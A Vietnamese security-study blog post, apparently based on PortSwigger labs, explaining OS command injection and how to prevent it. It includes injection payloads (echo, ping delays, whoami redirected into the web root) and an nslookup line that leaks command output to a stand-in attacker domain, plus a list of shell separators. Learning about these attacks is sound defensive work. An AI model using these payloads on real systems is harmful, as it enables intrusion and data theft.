Shang
Blog 👨‍💻
  • 🌸Introduction
  • 💻WEB SECURITY
    • Research Vulnerability
      • 📲Server-side topics
        • 🔏API Testing
        • 🔏Race conditions
        • 🔏XML external entity (XXE) injection
        • 🔏Server-side request forgery (SSRF)
        • 🔏File upload vulnerabilities
        • 🔏Access control vulnerabilities and privilege escalation
        • 🔏Business logic vulnerabilities
        • 🔏OS Command injection
        • 🔏Directory traversal
        • 🔏Authentication vulnerabilities
        • 🔏SQL injection
      • 📱Client-side topics
        • 🔏DOM-based vulnerabilities
        • 🔏Cross-origin resource sharing (CORS)
        • 🔏WebSockets
        • 🔏Clickjacking (UI redressing)
        • 🔏Cross-site request forgery (CSRF)
        • 🔏Cross-site scripting(XSS)
      • 🌀Advanced topics
        • 🔐Web cache poisoning
        • 🔐HTTP request smuggling
        • 🔐Prototype pollution
        • 🔐Server-side template injection(SSTI)
        • 🔐Insucure deserialization
    • Learn Java Vulnerability
      • Intro & Setup
      • Java Reflection Part 1
      • Java Reflection Part 2
    • Research Documents
      • 🎯DNS Rebinding
      • 🍪Remote Code Execution - Insecure Deserialization
      • 🍪Remote Code Execution on Jinja - SSTI Lab
      • 🍪Exploit cross-site request forgery (CSRF) - Lab
      • 🍪Exploit a misconfigured CORS - Lab
      • 🍪Same Origin Policy (SOP) - Lab
  • 📝WRITE-UP CTF
    • CTF Competitions
      • 🔰[WolvCTF 2023] Writeup Web
      • 🔰[M☆CTF Training 2023] Writeup Web
      • 🔰[HackTM CTF 2023] Writeup Web
      • 🔰[Incognito 4.0 2023] Writeup Web
      • 🔰[LA CTF 2023] Re-writeup Web
      • 🔰[Dice CTF 2023] Writeup Web
      • 🔰[ByteBandits CTF 2023] Writeup Web
      • 🔰[Knight CTF 2023] Writeup Web
      • 🔰[Sekai CTF 2022] Writeup Web
      • 🔰[WRECK CTF 2022] Writeup Web
      • 🔰[Maple CTF 2022] Writeup Web
    • CTF WarGame
      • ✏️[Root me] Writeup Sever Side
      • ✏️Websec.fr
      • ✏️[Root me] Writeup XSS Challenge
    • [tsug0d]-MAWC
      • 💉TSULOTT
      • 💉IQTEST
      • 🧬TooManyCrypto
      • 🧬NumberMakeup
    • Pwnable.vn
Powered by GitBook
On this page
  • OS command injection là gì
  • Executing arbitrary commands (Thực thi các lệnh bất kỳ)
  • Useful commands
  • Blinh OS Command injection vulnerabilities
  • Detecting blind OS command injection using time delays
  • Exploiting blind OS command injection by redirecting output
  • Exploiting blind OS command injection using out-of-band (OAST) techniques
  • Ways of injecting OS commands
  • How to prevent OS command injection attacks
  • Tổng kết
  1. WEB SECURITY
  2. Research Vulnerability
  3. Server-side topics

OS Command injection

Server Side Vul

PreviousBusiness logic vulnerabilitiesNextDirectory traversal

Last updated 2 years ago

Trong section này, chúng ta sẽ cùng nhau nghiên cứu về OS command injection, chúng ta sẽ xem làm sao để phát hiện và khai thác lỗ hổng , cùng giải thích một số lệnh và kỹ thuật hữu ích cho các OS khác nhau, và tóm tắt cách ngăn chặn việc đưa lệnh vào OS.

OS command injection là gì

OS command injection( có thể gọi nó là shell injection) is một lỗ hổng web mà cho phép kẻ tấn công tiến hành các lệnh của OS bất kỳ trên server mà ứng dụng đang chạy và các thường làm hỏng các loại ứng dụng và data trong nó. Thông thường, kẻ tấn công có thể tận dụng lỗ hổng tiêm lệnh của hệ điều hành để xâm phạm các phần khác của cơ sở hạ tầng lưu trữ, khai thác các mối quan hệ tin cậy để xoay trục cuộc tấn công sang các hệ thống khác trong tổ chức.

Executing arbitrary commands (Thực thi các lệnh bất kỳ)

Xem xét một ứng dụng shopping rằng cho phép người dùng có thể xem có hay không mặt hàng trong kho hay không trong một store cụ thể . Đây là thông tin được truy cập qua một URL như này:

https://insecure-website.com/stockStatus?productID=381&storeID=29

Để cung cấp thông tin kho hàng, ứng dụng phải query nhiều hệ thống kế thừa khác nhau. Do lý do trước đó, chức năng được triển khai bằng cách gọi lệnh shell với sản phẩm và lưu trữ ID dưới dạng aruments:

stockreport.pl 381 29

Lệnh này xuất ra trạng thái còn hàng cho mặt hàng đã chỉ định, được trả lại cho người dùng. Vì ứng dụng không triển khai biện pháp bảo vệ chống lại OS command injection, kẻ tấn công có thể gửi thông tin đầu vào sau để thực hiện một lệnh tùy ý:

& echo aiwefwlguh &

Nếu input này được gửi vào tham số productID sau đó lệnh sẽ được tiến hành bởi ứng dụng

stockreport.pl & echo aiwefwlguh & 29

Lệnh echo đơn giản là gây ra chuỗi cung cấp bị lặp lại ở output và đó là cách hữu ích để test cho môt vài loại của OS command injection. Ký & tự là một dấu phân tách lệnh shell, và vì vậy những gì được thực thi thực sự là ba lệnh riêng biệt nối tiếp nhau. Kết quả là kết quả trả về cho người dùng là:

Error - productID was not provided
aiwefwlguh
29: command not found

Ba dòng đầu ra chứng minh rằng:

  • Lệnh ban đầu stockreport.pl được thực thi mà không có đối số mong đợi của nó và do đó trả về một thông báo lỗi.

  • Lệnh được đưa echo vào đã được thực thi và chuỗi được cung cấp được lặp lại trong đầu ra.

  • Đối số ban đầu 29 được thực thi dưới dạng một lệnh, điều này gây ra lỗi.

Việc đặt dấu phân tách lệnh bổ sung & sau lệnh được đưa vào thường hữu ích vì nó tách lệnh được tiêm ra khỏi bất kỳ thứ gì sau điểm tiêm. Điều này làm giảm khả năng những gì tiếp theo sẽ ngăn không cho lệnh được đưa vào thực thi.

Useful commands

Khi bạn xác định một lỗ hổng Cmd Injection, nó thực sự hữu ích để khai thác một vài câu lệnh khả dụng chứa thông tin về hệ thống của máy chủ. Đây là một vài câu lệnh được sử dụng trên hai nền tảng Linux và Windows:

Blinh OS Command injection vulnerabilities

Nhiều trường hợp OS Cmd Injection là lỗ hổng blinh(mù) - nó có nghĩa là ứng dụng sẽ không return lại output từ câu lệnh trong phản hồi HTTP. Lỗ hổng Blind vẫn có thể khai thác nhưng cần dụng các kỹ thuật khác nhau.

Chúng ta xem xét một trang web cho phép người dùng gửi phản hồi về trang web. Người dùng nhập địa chỉ email và thông báo phản hồi của họ. Sau đó, ứng dụng phía máy chủ sẽ tạo một email gửi tới quản trị viên trang có chứa phản hồi. Để làm điều này, nó gọi mailchương trình với các chi tiết đã gửi. Ví dụ:

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

Output từ câu lệnh mail không được trả trong phản hồi của ứng dụng, vậy nếu sử dụng payload hay câu lệnh echo cũng không có output trả về. Trong trường hợp này, bạn có thể sử dụng một loạt các kỹ thuật khác để phát hiện và khai thác lỗ hổng.

Detecting blind OS command injection using time delays

Chúng ta có thể sử dụng một injected command như là trigger một thời gian delay, nó cho phép bạn confirm rằng câu lệnh đã được thực hiện dựa trên thời gian mà ứng dụng phản hồi. Lệnh Ping là một lệnh để làm điều này vì nó cho phép bạn chỉ định số lượng gói ICMP sẽ gửi và do đó, thời gian để lệnh chạy:

& ping -c 10 127.0.0.1 &

Lệnh này sẽ khiến ứng dụng ping bộ điều hợp mạng loopback của nó trong 10 giây.

Exploiting blind OS command injection by redirecting output

Chúng ta có thể chuyển hướng đầu ra từ lệnh được chèn vào một tệp trong thư mục gốc của web(root) mà sau đó bạn có thể truy xuất bằng trình duyệt. Ví dụ: nếu ứng dụng phục vụ tài nguyên tĩnh (serves static resources) từ vị trí hệ thống tệp /var/www/staticthì bạn có thể gửi thông tin đầu vào sau:

& whoami > /var/www/static/whoami.txt &

Ký >tự gửi đầu ra từ whoamilệnh đến tệp được chỉ định. Sau đó, bạn có thể sử dụng trình duyệt để tìm nạp https://vulnerable-website.com/whoami.txtđể truy xuất tệp và xem đầu ra từ lệnh được đưa vào.

Chúng ta có thể sử dụng một lệnh được đưa vào sẽ kích hoạt tương tác mạng ngoài băng tần với hệ thống mà bạn kiểm soát, sử dụng các kỹ thuật OAST. Ví dụ:

& nslookup kgji2ohoyw.web-attacker.com &

Payload này sử dụng lệnh nslookup để thực hiện tra cứu DNS cho miền được chỉ định. Kẻ tấn công có thể theo dõi quá trình tra cứu được chỉ định xảy ra và do đó phát hiện ra rằng lệnh đã được đưa vào thành công.

Kênh ngoài băng tần cũng cung cấp một cách dễ dàng để trích xuất đầu ra từ các lệnh được đưa vào:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

Điều này sẽ gây ra tra cứu DNS đối với miền của kẻ tấn công có chứa kết quả của lệnh whoami:

wwwuser.kgji2ohoyw.web-attacker.com

Note: Dấu `command` để execute trong server máy chủ. Dễ hiểu hơn là bạn test echo `ls` trong ubuntu sẽ rõ...

Ways of injecting OS commands

Một loạt các siêu ký tự shell có thể được sử dụng để thực hiện các cuộc tấn công tiêm lệnh hệ điều hành.

Một số ký tự hoạt động như các dấu tách lệnh, cho phép các lệnh được xâu chuỗi lại với nhau. Các trình tách lệnh sau hoạt động trên cả hệ thống dựa trên Windows và Unix:

  • &

  • &&

  • |

  • ||

Các lệnh sau chỉ hoạt động trên các hệ thống dựa trên Unix:

  • ;

  • Newline (0x0a or )

Trên các hệ thống dựa trên Unix, bạn cũng có thể sử dụng backticks hoặc ký tự $ để thực hiện thực thi nội tuyến lệnh được đưa vào trong lệnh gốc:

  • `injected command `

  • $(injected command )

Lưu ý rằng các siêu ký tự shell khác nhau có các hành vi khác nhau một cách tinh vi có thể ảnh hưởng đến việc liệu chúng có hoạt động trong một số tình huống nhất định hay không và liệu chúng có cho phép truy xuất đầu ra lệnh trong dải hay chỉ hữu ích cho việc khai thác mù quáng hay không.

Đôi khi, đầu vào mà bạn kiểm soát xuất hiện trong dấu ngoặc kép trong lệnh ban đầu. Trong tình huống này, bạn cần chấm dứt ngữ cảnh được trích dẫn (sử dụng "hoặc ') trước khi sử dụng các siêu ký tự shell phù hợp để đưa vào một lệnh mới.

Nói chung đôi khi bạn phải tự debug để ra payload hoàn chỉnh có thể exploit được trang web có lỗi

How to prevent OS command injection attacks

Cho đến nay, cách hiệu quả nhất để ngăn chặn các lỗ hổng chèn lệnh của hệ điều hành là không bao giờ gọi các lệnh của hệ điều hành từ mã lớp ứng dụng. Trong hầu hết mọi trường hợp, có nhiều cách thay thế để triển khai chức năng được yêu cầu bằng cách sử dụng API nền tảng an toàn hơn.

Nếu không thể gọi ra các lệnh của hệ điều hành với đầu vào do người dùng cung cấp, thì phải thực hiện xác thực đầu vào mạnh mẽ. Một số ví dụ về xác nhận hiệu quả bao gồm:

  • Xác thực đối với white list các giá trị được phép.

  • Xác thực rằng đầu vào là một số.

  • Xác thực rằng đầu vào chỉ chứa các ký tự chữ và số, không có cú pháp hoặc khoảng trắng nào khác.

Không bao giờ cố gắng làm sạch đầu vào bằng cách thoát khỏi các siêu ký tự shell. Trong thực tế, điều này quá dễ xảy ra lỗi và dễ bị kẻ tấn công lành nghề vượt qua.

Tổng kết

Cảm ơn các bạn đã đọc bài của mình, bài này dựa trên mình vừa làm lab vừa viết.

Có thể sử dụng để quét lỗ hổng này

Lab:

Lab:

Exploiting blind OS command injection using out-of-band () techniques

Lab:

Lab:

💻
📲
🔏
Burp suite
Blind OS command injection with time delays
Blind OS command injection with output redirection
OAST
Blind OS command injection with out-of-band interaction
Blind OS command injection with out-of-band data exfiltration